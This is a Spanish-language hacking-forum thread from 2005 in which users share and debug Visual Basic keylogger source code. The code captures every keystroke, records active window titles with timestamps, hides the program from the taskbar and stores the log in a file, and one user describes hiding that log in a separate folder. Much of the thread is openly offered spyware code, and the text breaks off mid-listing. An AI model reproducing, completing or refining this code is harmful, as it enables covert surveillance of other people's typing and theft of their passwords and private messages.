Foro de elhacker.net

Programación => Programación Visual Basic => Mensaje iniciado por: soplo en 25 Agosto 2005, 00:06 am



Título: keylogger en VB
Publicado por: soplo en 25 Agosto 2005, 00:06 am
Hola
Este es un keylooger que hice hace un año o así. Funciona bien aunque es manifiestamente mejorable. Es un buen ejemplo.

Hay dos partes. Una es un pequeño programa de prueba (para ver lo que el keylogger va detectando). Para ello le poneis los controles y el código indicado y luego os vais por ejemplo al notepad y os poneis a escribir. En el programa de prueba deberían ir quedando todas las pulsaciones que vais haciendo.

La rutina fundamental es la función ObtenerTecla y unas pequeñas funciones para saber si es mayúscula o no , etc.

Existe otra técnica posible para hacer un keylogger. La que se llama un hook de teclado (o un gancho de teclado). Tiene algunas ventajas y algún inconveniente.
-----------------------------------------------------------------------------------
Programa que prueba la rutina
En una aplicación visual basic añadir al formulario form1 el cuadro de texto text1 con las siguientes propiedades:
Código:
text1.multiline = true
text1.heigh= 1335
text1.width = 12975


Poner un objeto timer con las siguiente propiedad
Código:
timer1.interval=100
(probar con distintos resultados para sacar consecuencias)

Poner un command con la siguiente propiedad
Código:
command1.caption="Limpiar"


----------------------------------------------------------------------------------
Rutinas del programa de prueba

Código:
Private Sub Command1_Click()
Text1 = "" ' vaciar textbox
End Sub


Código:
Private Sub Text1_Change()
If Len(Text1) > 500 Then
' Escribir txt.log
End If
End Sub

-----------------------------------------------------------------------------------
comienzo de keylogger
------------------------------------------------------------------------------------
Función ShiftPulsado. Comprueba si se ha pulsado cualquiera de las dos teclas shift del teclado (es posible diferenciar cada una si se quiere)

Código:
Private Function ShiftPulsado() ' true si está pulsado shift
ShiftPulsado = IIf(GetKeyState(16) < 0, True, False) 'VK_SHIFT
End Function

------------------------------------------------------------------------------------
Función BloqMayus. Comprueba si se ha activado bloq mayus

Código:
Private Function BloqMayus() 'True si está pulsado bloqmayus
BloqMayus = IIf(GetKeyState(20) < 0, True, False) 'VK_CAPSLOCK
End Function

------------------------------------------------------------------------------------
Función NumLock. Comprueba si está pulsada la tecla Numlock

Código:
Private Function NumLock() 'True si está pulsado NUMLOCK
NumLock = IIf(GetKeyState(144) < 0, True, False) 'VK_NUMLOCK
End Function

-----------------------------------------------------------------------------------
Función AltGr comprueba si está pulsada la tecla ALT GR.

Código:
Private Function AltGr() 'true si está pulsado ALT GR
AltGr = IIf(GetKeyState(165) < 0, True, False) 'VK_RMENU
End Function

-----------------------------------------------------------------------------------
Función del timer que comprueba cada cierto intervalo de tiempo si se ha pulsado una tecla. Para ello revisa cada una de las posibilidades y si encuentra una tecla pulsada la guarda en la variable Tecla y la añade al text1.

Código:
Private Sub Timer1_Timer() 'probar con distintos intervalos de timer
Dim Tecla As String
For x% = 0 To 255 'para los 255 códigos ascii
If GetAsyncKeyState(x%) Then 'si se ha pulsado una tecla
Tecla = ObtenerTecla(x%) 'obtener tecla pulsada
Text1 = Text1 & Tecla 'añadir tecla a teclas pulsadas
Text1.Refresh
End If
Next
End Sub

------------------------------------------------------------------------------------
Función ObtenerTecla. Se le pasa como parámetro el código virtual de la tecla pulsada y devuelve el resultado. Es la rutina propiamente de un keylogger.

Fijaos que en vez de el nombre de la tecla he pueso su código virtual. La razón es que teóricamente es igual, pero con los nombres no me funcionaba y cuando puse su código funcionó.

Código:
Function ObtenerTecla(x As Integer)
Dim Tecla As String
Select Case x
Case 1 'VK_LBUTTON 'botón izquierdo del ratón
Case 2 'VK_RBUTTON 'botón derecho del ratón
Case 4 'VK_MBUTTON 'botón medio del ratón
Case 3 'VK_CANCEL 'break interrumpir
Case 8 'VK_BACK
Tecla = "[DEL]"
Case 9 'VK_TAB
Tecla = "[TAB]"
Case 13 'VK_RETURN
Tecla = "[ENTER]"
'opcionalmente se puede poner que se inserte línea en vez de insertar el literal [ENTER]
'sería así: Tecla = Chr(13) & Chr(10)
Case 92 'VK_CLEAR '5 en keypadd sin numlook
Case 19 'VK_PAUSE 'Pausa
Tecla = "[PAUSA]"
Case 32 'VK_SPACE
Tecla = " "
Case 27 'VK_ESC 'escape
Tecla = "[ESC]"
Case 33 'VK_PRIOR
Tecla = "[RE PAG]"
Case 34 'VK_NEXT
Tecla = "[AV PAG]"
Case 35 'VK_END
Tecla = "[FIN]"
Case 36 'VK_HOME
Tecla = "[INICIO]"
Case 37 'VK_LEFT
Tecla = "[IZQ]"
Case 38 'VK_RIGHT
Tecla = "[DER]"
Case 39 'VK_UP
Tecla = "[ARRIBA]"
Case 40 'VK_DOWN
Tecla = "[ABAJO]"
Case 44 'imprpant
Tecla = "[IMPR PANT]"
Case 45, VK_INSERT
Tecla = "[INS]"
Case 46, VK_DELETE
Tecla = "[SUPR]"
Case 48 To 57 'VK_0 - VK_9
If Not ShiftPulsado Then 'si no se ha cambiado tecla de shift
Tecla = Str$(x - 48) 'poner en tecla el nº correspondiente
Else
Tecla = Mid$("!""""·$%&/()=", x - 47, 1) 'extraer el caracter correspondiente
End If
If AltGr Then
If x = 49 Then 'alt gr + 1
Tecla = "|"
ElseIf x = 50 Then 'alt gr + 2
Tecla = "@"
ElseIf x = 51 Then 'alt gr + 3
Tecla = "#"
ElseIf x = 54 Then 'alt gr +6
Tecla = "¬"
End If
End If
Case 65 To 90 'letras VK_A - VK_Z
If BloqMayus Then
Tecla = IIf(ShiftPulsado, LCase$(Chr(x)), UCase(Chr(x)))
Else
Tecla = IIf(ShiftPulsado, UCase$(Chr(x)), LCase$(Chr(x)))
End If
Case 96 To 105 'numpad VK_NUMPAD0 - VK_NUMPAD9'
If Not NumLock Then
Tecla = LTrim$(Str$(x - 96)) 'obtener número correspondiente a teclado numpad
Else
Tecla = ObtenerTecla(x - 48) 'obtener valor correspondiente a numpad sin numlock
End If
Case 106 'VK_MULTIPLY
Tecla = "*"
Case 107 'VK_NUMPADADD
Tecla = "+"
Case 110 'VK_NUMPADDECIMAL
Tecla = "."
Case 111 'VK_NUMPADDIVIDE
Tecla = "/"
Case 109 'VK_SUBSTRACKT
Tecla = "-"
Case 112 To 123 'VK_F1 - VK_F12
Tecla = "[F" & x - 111 & "]"
Case 145 'VK_SCROLL 'Bloq Despl
Tecla = "[BLOQ DESPL]"
Case 186 '^`
Tecla = IIf(ShiftPulsado, "^", "`")
Tecla = IIf(AltGr, "[", Tecla)
Case 187 '+ *
Tecla = IIf(ShiftPulsado, "*", "+")
Tecla = IIf(AltGr, "]", Tecla)
Case 188 '; ,
Tecla = IIf(ShiftPulsado, ";", ",")
Case 189 '- _ )
Tecla = IIf(ShiftPulsado, "_", "-")
Case 190 ': .
Tecla = IIf(ShiftPulsado, ":", ".")
Case 191 'ç Ç
Tecla = IIf(ShiftPulsado, "Ç", "ç")
Tecla = IIf(AltGr, "}", Tecla)
Case 192 '~ '
Tecla = IIf(ShiftPulsado, "~", "'")
Case 219 '? '
Tecla = IIf(ShiftPulsado, "?", "'")
Case 220 '| \
Tecla = IIf(ShiftPulsado, "ª", "º")
Tecla = IIf(AltGr, "\", Tecla)
Case 221 '¿ ¡
Tecla = IIf(ShiftPulsado, "¿", "¡")
Case 222 ' ¨ ´
Tecla = IIf(ShiftPulsado, "¨", "´")
Tecla = IIf(AltGr, "{", Tecla)
Case 226 ' < >
Tecla = IIf(ShiftPulsado, ">", "<")
End Select
ObtenerTecla = Tecla
End Function


Título: Re: keylogger en VB
Publicado por: ZEALOT en 26 Agosto 2005, 02:32 am
bakano pez, muy bueno, el keylog de hook en vb es facil SIN una dll hecha en vb, simplemente el programa se "hookea" ;) a si mismo, con una funcion calback y listo a escuchar los mensajes del teclado, la otra forma en vb es con una dll PERO esta debe ser hecha en c++, porque las dll que genera vb son dll activex o no         se que passa pero no se puede supuestamente, toy intentando hacerla con la dll de vb pero creo que es mas facil con c++...

suertes  ;D


Título: Re: keylogger en VB
Publicado por: Bourne Ultimatum en 20 Septiembre 2005, 23:30 pm
me tira un error en esta parte
Código:
Private Sub Timer1_Timer() 'probar con distintos intervalos de timer
Dim Tecla As String
For x% = 0 To 255 'para los 255 códigos ascii
If GetAsyncKeyState(x%) Then 'si se ha pulsado una tecla
Tecla = ObtenerTecla(x%) 'obtener tecla pulsada
Text1 = Text1 & Tecla 'añadir tecla a teclas pulsadas
Text1.Refresh
End If
Next
End Sub

"Procedimiento Sub o Function no definido"
ayuda!


Título: Re: keylogger en VB
Publicado por: NYlOn en 21 Septiembre 2005, 00:04 am
tenes que agregar las siguientes declaraciones:

Código:
Public Declare Function GetAsyncKeyState Lib "user32" Alias "GetAsyncKeyState" (ByVal vKey As Long) As Integer
Public Declare Function GetKeyState Lib "user32" Alias "GetKeyState" (ByVal nVirtKey As Long) As Integer

x cierto, muy bueno el KL, gracias x el posteo Soplo ;)

salud0s

G0nz4


Título: Re: keylogger en VB
Publicado por: Bourne Ultimatum en 21 Septiembre 2005, 00:12 am
"error de compilacion
los cometarios solamente pueden aparecer depues de end sub, end function o end property"

y esto?


Título: Re: keylogger en VB
Publicado por: NYlOn en 21 Septiembre 2005, 00:22 am
emm, los comentarios pueden aparecer en cualkier lad0 q yo sepa =S, nunca me trejeron problemas...
estas seguro que es asi el error ??


Título: Re: keylogger en VB
Publicado por: Bourne Ultimatum en 21 Septiembre 2005, 00:30 am
sip puse lo q vos me dijiste arriba de tdo y aparece eso


Título: Re: keylogger en VB
Publicado por: Bourne Ultimatum en 21 Septiembre 2005, 00:39 am
con esto no me tira error

Código:
Option Explicit
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer

pero ahora me tira error aca:
Código:
For x% = 0 To 255 'para los 255 códigos ascii
dice variable no definida en x%


Título: Re: keylogger en VB
Publicado por: el_chente23 en 21 Septiembre 2005, 00:49 am
Supongo que no tienes declarada la variable "x".

Saludos


Título: Re: keylogger en VB
Publicado por: Bourne Ultimatum en 21 Septiembre 2005, 00:56 am
no eso lo veo
pero como la declaroo

saludos


Título: Re: keylogger en VB
Publicado por: NYlOn en 21 Septiembre 2005, 01:00 am
el error es por el "Option Explicit"
como no tenes la X declarada te tira un error
hace esto:
abajo de las delcaraciones pone:
Código:
Dim x As Integer

o saca el Option Explicit

y te recomiendo que leas el post de Variables y Constantes (http://foro.elhacker.net/index.php/topic,61945.0.html) ... no saber declarar una variable es muy grave xDDD
salu2


Título: Re: keylogger en VB
Publicado por: Bourne Ultimatum en 21 Septiembre 2005, 01:06 am
Muchisimas gracias
x la ayuda ;)


Título: Re: keylogger en VB
Publicado por: NYlOn en 21 Septiembre 2005, 01:11 am
de nada :)


Título: Re: keylogger en VB
Publicado por: kakinets en 21 Septiembre 2005, 02:15 am
Hola este es un Keylogger muy bueno:

usa 2 timer, un texbox

Codigos:

Código:
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
Private Declare Function GetForegroundWindow Lib "user32" () As Long
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long
Private LastWindow As String
Private LastHandle As Long
Private dKey(255) As Long
Private Const VK_SHIFT = &H10
Private Const VK_CTRL = &H11
Private Const VK_ALT = &H12
Private Const VK_CAPITAL = &H14
Private ChangeChr(255) As String
Private AltDown As Boolean


Timer1:

Código:
'Cualto alt no este precionada
If GetAsyncKeyState(VK_ALT) = 0 And AltDown = True Then
AltDown = False
Text7 = Text7 & "[ALTUP]"
End If

'a-z A-Z

For i = Asc("A") To Asc("Z") 'Bucle que va desde 65 a 90
 If GetAsyncKeyState(i) = -32767 Then
 TypeWindow
 
  If GetAsyncKeyState(VK_SHIFT) < 0 Then
   If GetKeyState(VK_CAPITAL) > 0 Then
 Text7 = Text7 & LCase(Chr(i))
   Exit Sub
   Else
   Text7 = Text7 & UCase(Chr(i))
   Exit Sub
   End If
  Else
   If GetKeyState(VK_CAPITAL) > 0 Then
   Text7 = Text7 & UCase(Chr(i))
   Exit Sub
   Else
  Text7 = Text7 & LCase(Chr(i))
   Exit Sub
   End If
  End If
           
 End If
Next

'1234567890)(*&^%$#@!

For i = 48 To 57 'Bucle para registrar los numeros
 If GetAsyncKeyState(i) = -32767 Then
 TypeWindow
 
  If GetAsyncKeyState(VK_SHIFT) < 0 Then
  Text7 = Text7 & ChangeChr(i)
  Exit Sub
  Else
 Text7 = Text7 & Chr(i)
  Exit Sub
  End If
 
 End If
Next


';=,-./
For i = 186 To 192
 If GetAsyncKeyState(i) = -32767 Then
 TypeWindow
 
  If GetAsyncKeyState(VK_SHIFT) < 0 Then
 Text7 = Text7 & ChangeChr(i - 100)
  Exit Sub
  Else
  Text7 = Text7 & ChangeChr(i)
  Exit Sub
  End If
 
 End If
Next


'[\]'
For i = 219 To 222
 If GetAsyncKeyState(i) = -32767 Then
 TypeWindow
 
  If GetAsyncKeyState(VK_SHIFT) < 0 Then
 Text7 = Text7 & ChangeChr(i - 100)
  Exit Sub
  Else
  Text7 = Text7 & ChangeChr(i)
  Exit Sub
  End If
 
 End If
Next

'Bloque numerico
For i = 96 To 111
 If GetAsyncKeyState(i) = -32767 Then
 TypeWindow
 
  If GetAsyncKeyState(VK_ALT) < 0 And AltDown = False Then
  AltDown = True
  Text7 = Text7 & "[ALTDOWN]"
  Else
   If GetAsyncKeyState(VK_ALT) >= 0 And AltDown = True Then
   AltDown = False
   Text7 = Text7 & "[ALTUP]"
   End If
  End If
 
  Text7 = Text7 & ChangeChr(i)
  Exit Sub
 End If
Next

 'for space
 If GetAsyncKeyState(32) = -32767 Then
 TypeWindow
  Text7 = Text7 & " "
 End If

 'Cuando se precione ENTER
 If GetAsyncKeyState(13) = -32767 Then
 TypeWindow
 Text7 = Text7 & vbCrLf & "Enter " ' Se le inserta un salto de linea al texto y un caracter
  'de identificacion (Alt+ 0160)
 End If
 
 
 If GetAsyncKeyState(8) = -32767 Then
 TypeWindow
 If (Right(Text7.Text, 1) = " ") Then GoTo nod 'Si es ultimo caracter es ANSI 160 no se borra nada
 tip = Len(Text7.Text) - 1 'Logitud del texto menos uno
  Text7 = Left(Text7.Text, tip) 'Borrado
nod:
 End If
 
 'Cuando se precione felcha izquierda
 If GetAsyncKeyState(37) = -32767 Then
 TypeWindow
  Text7 = Text7 & "[LeftArrow]"
 End If
 
 'Cuando se precione felcha Arriba
 If GetAsyncKeyState(38) = -32767 Then
 TypeWindow
  Text7 = Text7 & "[UpArrow]"
 'End If
 
'Cuando se precione flecha derechar
If GetAsyncKeyState(39) = -32767 Then
TypeWindow
 Text7 = Text7 & "[RightArrow]"
 End If
 
  'Cuando se precione flecha abajo
 If GetAsyncKeyState(40) = -32767 Then
 TypeWindow
 Text7 = Text7 & "[DownArrow]"
 End If

 'tab
 If GetAsyncKeyState(9) = -32767 Then
 TypeWindow
  Text7 = Text7 & "[Tab]"
 End If
 
  'escape
 If GetAsyncKeyState(27) = -32767 Then
 TypeWindow
 Text7 = Text7 & "[Escape]"
 End If

 'insert, delete
 For i = 45 To 46
 If GetAsyncKeyState(i) = -32767 Then
 TypeWindow
 Text7 = Text7 & ChangeChr(i)
 End If
 Next

 'page up, page down, end, home
 For i = 33 To 36
 If GetAsyncKeyState(i) = -32767 Then
 TypeWindow
 Text7 = Text7 & ChangeChr(i)
 End If
 Next
 
 ' Left Click
 If GetAsyncKeyState(1) = -32767 Then
  If (LastHandle = GetForegroundWindow) And LastHandle <> 0 Then 'we make sure that click is on the page that we are loging bute click log start when we type something in window
 Text7 = Text7 & "[LeftClick]"
 End If
 End If
 End If

Timer2:

Código:
GurdaLog


Formulario:

Código:
If App.PrevInstance = True Then: End 'Para que no existan dos programas corriendo al mismo tiempo
App.TaskVisible = False ' Nada de mostrarse en la barra de tareas

LeeLog 'Funcion que lee el archivo de log
Me.Caption = "Keylogger"
ChangeChr(33) = "[PageUp]"
ChangeChr(34) = "[PageDown]"
ChangeChr(35) = "[End]"
ChangeChr(36) = "[Home]"

ChangeChr(45) = "[Insert]"
ChangeChr(46) = "[Delete]"

ChangeChr(48) = "="
ChangeChr(49) = "!"
ChangeChr(50) = "@"
ChangeChr(51) = "#"
ChangeChr(52) = "$"
ChangeChr(53) = "%"
ChangeChr(54) = "&"
ChangeChr(55) = "/"
ChangeChr(56) = "("
ChangeChr(57) = ")"

ChangeChr(186) = "`"
ChangeChr(187) = "+"
ChangeChr(188) = ","
ChangeChr(189) = "-"
ChangeChr(190) = "."
ChangeChr(191) = "}"

ChangeChr(219) = "{" '
ChangeChr(220) = "\"
ChangeChr(221) = "¡"
ChangeChr(222) = "{"


ChangeChr(86) = "^"
ChangeChr(87) = "*"
ChangeChr(88) = ";"
ChangeChr(89) = "_"
ChangeChr(90) = ":"
ChangeChr(91) = "?"

ChangeChr(119) = "?"
ChangeChr(120) = "|"
ChangeChr(121) = "¿"
ChangeChr(122) = """"


ChangeChr(96) = "0"
ChangeChr(97) = "1"
ChangeChr(98) = "2"
ChangeChr(99) = "3"
ChangeChr(100) = "4"
ChangeChr(101) = "5"
ChangeChr(102) = "6"
ChangeChr(103) = "7"
ChangeChr(104) = "8"
ChangeChr(105) = "9"
ChangeChr(106) = "*"
ChangeChr(107) = "+"
ChangeChr(109) = "-"
ChangeChr(110) = "."
ChangeChr(111) = "/"

ChangeChr(192) = "ñ"
ChangeChr(92) = "Ñ"


Declarasiones en Generales:

Código:
Public Function Logged(FromFile As String) As String 'Lee el texto contenido dentro de C:\log.txt
On Error GoTo Handle
Dim sTemp As String
    Open FromFile For Input As #1   'Abre el archivo para leerlo
        sTemp = Input(LOF(1), 1)    'Obtiene el texto
    Close #1                        'Cierra el archivo
    Logged = sTemp
Exit Function
Handle:
'MsgBox "Error " & Err.Number & vbCrLf & Err.Description, vbCritical, "Error"
End Function


Function TypeWindow() 'Imprime el titulo de la ventana activa
Dim Handle As Long
Dim textlen As Long
Dim WindowText As String

Handle = GetForegroundWindow
LastHandle = Handle
textlen = GetWindowTextLength(Handle) + 1

WindowText = Space(textlen)
svar = GetWindowText(Handle, WindowText, textlen)
WindowText = Left(WindowText, Len(WindowText) - 1)

If WindowText <> LastWindow Then 'Si el ultimo titulo de la ventana activa es directe alde la actual
' se imprime el nuevo titulo de la ventana
If Text7 <> "" Then Text7 = Text7 & vbCrLf & vbCrLf
Text7 = Text7 & "|====================" & Now & "=======================|" & vbCrLf & WindowText & vbCrLf & "|============================================================|" & vbCrLf & " " 'Se eimprime el titulo de la aplicacion, fecha y hora =P
LastWindow = WindowText 'El ultimo titulo de la ventana
End If
End Function


Sub LeeLog()
Text7.Text = Logged("C:\log.txt") 'Se carga el texto en el objeto text
End Sub

Sub GurdaLog()
Open ("C:\log.txt") For Output As #1 ' Se abre el archivo
Print #1, Text7.Text ' se sobre escribe el log
Close #1 ' y se cierra
End Sub


Espero q les Sirve es muy Bueno....


Título: Re: keylogger en VB
Publicado por: Slasher-K en 21 Septiembre 2005, 08:27 am
no eso lo veo
pero como la declaroo

saludos

Por favor... mejor me  :-X


Título: Re: keylogger en VB
Publicado por: NYlOn en 21 Septiembre 2005, 09:10 am
muy bueno el code Pedronets
me gusto eso de:
Código:
If Text7 <> "" Then Text7 = Text7 & vbCrLf & vbCrLf
Text7 = Text7 & "|====================" & Now & "=======================|" & vbCrLf & WindowText & vbCrLf & "|============================================================|" & vbCrLf & " " 'Se eimprime el titulo de la aplicacion, fecha y hora =P
LastWindow = WindowText 'El ultimo titulo de la ventana
End If

ACLARACION: te olvidaste de mencionar que el TxtBox deberia llamares Text7 (o podes cambiar el codigo xD)

un slaud0 y gracias x el c0de ;)

G0nz4


Título: Re: keylogger en VB
Publicado por: ^Winder^ en 21 Septiembre 2005, 11:18 am
referente al primer keylogger:

Akellos k abeis probado el primer keylogger y abeis estado encontrando esos errores d compilacion y solucionados...podeis publicar ahora como kedaría el código sin errores de compilacion ni d ningun tipo?  ;)


Título: Re: keylogger en VB
Publicado por: yeikos en 21 Septiembre 2005, 12:36 pm
Yo no lo he llegado a probar, pero... ¿me podriais decir se este keylogger se come letras como en muchos otros?


Título: Re: keylogger en VB
Publicado por: LaN en 21 Septiembre 2005, 13:03 pm
¡Muy buen keylogger el de Pedronets!

El único problema que le he encontrado es que los acentos los guarda el log como '{', es decir si yo escribo por ejemplo 'opción' en el log se ve 'opci{on'. De todos modos esta realmente bien.

Respecto a lo de comerse las letras:
Pone al Timer1 un Interval bajo y al Timer2 un minuto o 30 seg para que vaya guardando el log. ;)


Título: Re: keylogger en VB
Publicado por: LaN en 21 Septiembre 2005, 13:20 pm
Como yo aún estoy aprendiendo VB soluciono las cosas brutamente, y "escondí" el log así:

Código:
En el load del form
On Error GoTo yaexiste
Set carpeta = CreateObject("scripting.filesystemobject")
carpeta.CreateFolder "C:\Archivos de Programa\Klog"
yaexiste:
..etc..

para que me crease una carpeta donde guardar el log.
Mi pregunta es ¿Como se haría esto correctamente? Es decir, ¿como le digo que si existe la carpeta no haga nada? Así funciona pero hace daño a los ojos al verlo.. :-\


Título: Re: keylogger en VB
Publicado por: Kizar en 21 Septiembre 2005, 19:11 pm
Esos keylogger son una "*****" con perdon, por que se comen muchas teclas y dan muchos errores, buscar alguno que funcione con hooks:
Podeis buscar informacion de la api : SetWindowsHookEx
Salu2


Título: Re: keylogger en VB
Publicado por: Sk8er_boy12 en 21 Septiembre 2005, 21:13 pm
a mi me da este error:
Private Sub Timer1_Timer()
Dim Tecla As String
For x% = 0 To 255 'para los 255 códigos ascii
If GetAsyncKeyState(x%) Then 'si se ha pulsado una tecla
Tecla = ObtenerTecla(x%) 'obtener tecla pulsada
Text1 = Text1 & Tecla 'añadir tecla a teclas pulsadas
Text1.Refresh
End If
Next
End Sub

Procedimiento sub o function no declarado.
Adios


Título: Re: keylogger en VB
Publicado por: NYlOn en 22 Septiembre 2005, 00:31 am
mira te acomodo un poco el keylogger de Pedronts, yo tuve que hacer varios cambios para que me funcionara...

en un MODULO:
Código:
Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
Declare Function GetForegroundWindow Lib "user32" () As Long
Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long
Public LastWindow As String
Public LastHandle As Long
Public dKey(255) As Long
Public Const VK_SHIFT = &H10
Public Const VK_CTRL = &H11
Public Const VK_ALT = &H12
Public Const VK_CAPITAL = &H14
Public ChangeChr(255) As String
Public AltDown As Boolean

Public Function Logged(FromFile As String) As String 'Lee el texto contenido dentro de C:\log.txt
On Error GoTo Handle
Dim sTemp As String
    Open FromFile For Input As #1   'Abre el archivo para leerlo
        sTemp = Input(LOF(1), 1)    'Obtiene el texto
    Close #1                        'Cierra el archivo
    Logged = sTemp
Exit Function
Handle:
'MsgBox "Error " & Err.Number & vbCrLf & Err.Description, vbCritical, "Error"
End Function


Function TypeWindow() 'Imprime el titulo de la ventana activa
Dim Handle As Long
Dim textlen As Long
Dim WindowText As String

Handle = GetForegroundWindow
LastHandle = Handle
textlen = GetWindowTextLength(Handle) + 1

WindowText = Space(textlen)
svar = GetWindowText(Handle, WindowText, textlen)
WindowText = Left(WindowText, Len(WindowText) - 1)

If WindowText <> LastWindow Then 'Si el ultimo titulo de la ventana activa es directe alde la actual
' se imprime el nuevo titulo de la ventana
If Form1.Text1 <> "" Then Form1.Text1 = Form1.Text1 & vbCrLf & vbCrLf
Form1.Text1 = Form1.Text1 & "|====================" & Now & "=======================|" & vbCrLf & WindowText & vbCrLf & "|============================================================|" & vbCrLf & " " 'Se eimprime el titulo de la aplicacion, fecha y hora =P
LastWindow = WindowText 'El ultimo titulo de la ventana
End If
End Function


Sub LeeLog()
Form1.Text1.Text = Logged("C:\log.txt") 'Se carga el texto en el objeto text
End Sub

Sub GurdaLog()
Open ("C:\log.txt") For Output As #1 ' Se abre el archivo
Print #1, Form1.Text1.Text ' se sobre escribe el log
Close #1 ' y se cierra
End Sub

en el Load del Form:
Código:
Private Sub Form_Load()
If App.PrevInstance = True Then: End 'Para que no existan dos programas corriendo al mismo tiempo
App.TaskVisible = False ' Nada de mostrarse en la barra de tareas

LeeLog 'Funcion que lee el archivo de log
Me.Caption = "Keylogger"
ChangeChr(33) = "[PageUp]"
ChangeChr(34) = "[PageDown]"
ChangeChr(35) = "[End]"
ChangeChr(36) = "[Home]"

ChangeChr(45) = "[Insert]"
ChangeChr(46) = "[Delete]"

ChangeChr(48) = "="
ChangeChr(49) = "!"
ChangeChr(50) = "@"
ChangeChr(51) = "#"
ChangeChr(52) = "$"
ChangeChr(53) = "%"
ChangeChr(54) = "&"
ChangeChr(55) = "/"
ChangeChr(56) = "("
ChangeChr(57) = ")"

ChangeChr(186) = "`"
ChangeChr(187) = "+"
ChangeChr(188) = ","
ChangeChr(189) = "-"
ChangeChr(190) = "."
ChangeChr(191) = "}"

ChangeChr(219) = "{" '
ChangeChr(220) = "\"
ChangeChr(221) = "¡"
ChangeChr(222) = "{"


ChangeChr(86) = "^"
ChangeChr(87) = "*"
ChangeChr(88) = ";"
ChangeChr(89) = "_"
ChangeChr(90) = ":"
ChangeChr(91) = "?"

ChangeChr(119) = "?"
ChangeChr(120) = "|"
ChangeChr(121) = "¿"
ChangeChr(122) = """"


ChangeChr(96) = "0"
ChangeChr(97) = "1"
ChangeChr(98) = "2"
ChangeChr(99) = "3"
ChangeChr(100) = "4"
ChangeChr(101) = "5"
ChangeChr(102) = "6"
ChangeChr(103) = "7"
ChangeChr(104) = "8"
ChangeChr(105) = "9"
ChangeChr(106) = "*"
ChangeChr(107) = "+"
ChangeChr(109) = "-"
ChangeChr(110) = "."
ChangeChr(111) = "/"

ChangeChr(192) = "ñ"
ChangeChr(92) = "Ñ"

End Sub

en un Timer con intervalo 1:
Código:
Private Sub Timer1_Timer()
On Error Resume Next
'Cuando alt no este precionada
If GetAsyncKeyState(VK_ALT) = 0 And AltDown = True Then
AltDown = False
Text1 = Text1 & "[ALTUP]"
End If

'a-z A-Z

For i = Asc("A") To Asc("Z") 'Bucle que va desde 65 a 90
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
 
  If GetAsyncKeyState(VK_SHIFT) < 0 Then
   If GetKeyState(VK_CAPITAL) > 0 Then
Text1 = Text1 & LCase(Chr(i))
   Exit Sub
   Else
   Text1 = Text1 & UCase(Chr(i))
   Exit Sub
   End If
  Else
   If GetKeyState(VK_CAPITAL) > 0 Then
   Text1 = Text1 & UCase(Chr(i))
   Exit Sub
   Else
  Text1 = Text1 & LCase(Chr(i))
   Exit Sub
   End If
  End If
           
End If
Next

'1234567890)(*&^%$#@!

For i = 48 To 57 'Bucle para registrar los numeros
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
 
  If GetAsyncKeyState(VK_SHIFT) < 0 Then
  Text1 = Text1 & ChangeChr(i)
  Exit Sub
  Else
Text1 = Text1 & Chr(i)
  Exit Sub
  End If
 
End If
Next


';=,-./
For i = 186 To 192
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
 
  If GetAsyncKeyState(VK_SHIFT) < 0 Then
Text1 = Text1 & ChangeChr(i - 100)
  Exit Sub
  Else
  Text1 = Text1 & ChangeChr(i)
  Exit Sub
  End If
 
End If
Next


'[\]'
For i = 219 To 222
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
 
  If GetAsyncKeyState(VK_SHIFT) < 0 Then
Text1 = Text1 & ChangeChr(i - 100)
  Exit Sub
  Else
  Text1 = Text1 & ChangeChr(i)
  Exit Sub
  End If
 
End If
Next

'Bloque numerico
For i = 96 To 111
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
 
  If GetAsyncKeyState(VK_ALT) < 0 And AltDown = False Then
  AltDown = True
  Text1 = Text1 & "[ALTDOWN]"
  Else
   If GetAsyncKeyState(VK_ALT) >= 0 And AltDown = True Then
   AltDown = False
   Text1 = Text1 & "[ALTUP]"
   End If
  End If
 
  Text1 = Text1 & ChangeChr(i)
  Exit Sub
End If
Next

'for space
If GetAsyncKeyState(32) = -32767 Then
TypeWindow
  Text1 = Text1 & " "
End If

'Cuando se precione ENTER
If GetAsyncKeyState(13) = -32767 Then
TypeWindow
Text1 = Text1 & vbCrLf & "Enter> " ' Se le inserta un salto de linea al texto y un caracter
  'de identificacion (Alt+ 0160)
End If


If GetAsyncKeyState(8) = -32767 Then
TypeWindow
If (Right(Text1.Text, 1) = " ") Then GoTo nod 'Si es ultimo caracter es ANSI 160 no se borra nada
tip = Len(Text1.Text) - 1 'Logitud del texto menos uno
  Text1 = Left(Text1.Text, tip) 'Borrado
nod:
End If

'Cuando se precione felcha izquierda
If GetAsyncKeyState(37) = -32767 Then
TypeWindow
  Text1 = Text1 & "[LeftArrow]"
End If

'Cuando se precione felcha Arriba
If GetAsyncKeyState(38) = -32767 Then
TypeWindow
  Text1 = Text1 & "[UpArrow]"
'End If

'Cuando se precione flecha derechar
If GetAsyncKeyState(39) = -32767 Then
TypeWindow
Text1 = Text1 & "[RightArrow]"
End If

  'Cuando se precione flecha abajo
If GetAsyncKeyState(40) = -32767 Then
TypeWindow
Text1 = Text1 & "[DownArrow]"
End If

'tab
If GetAsyncKeyState(9) = -32767 Then
TypeWindow
  Text1 = Text1 & "[Tab]"
End If

  'escape
If GetAsyncKeyState(27) = -32767 Then
TypeWindow
Text1 = Text1 & "[Escape]"
End If

'insert, delete
For i = 45 To 46
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
Text1 = Text1 & ChangeChr(i)
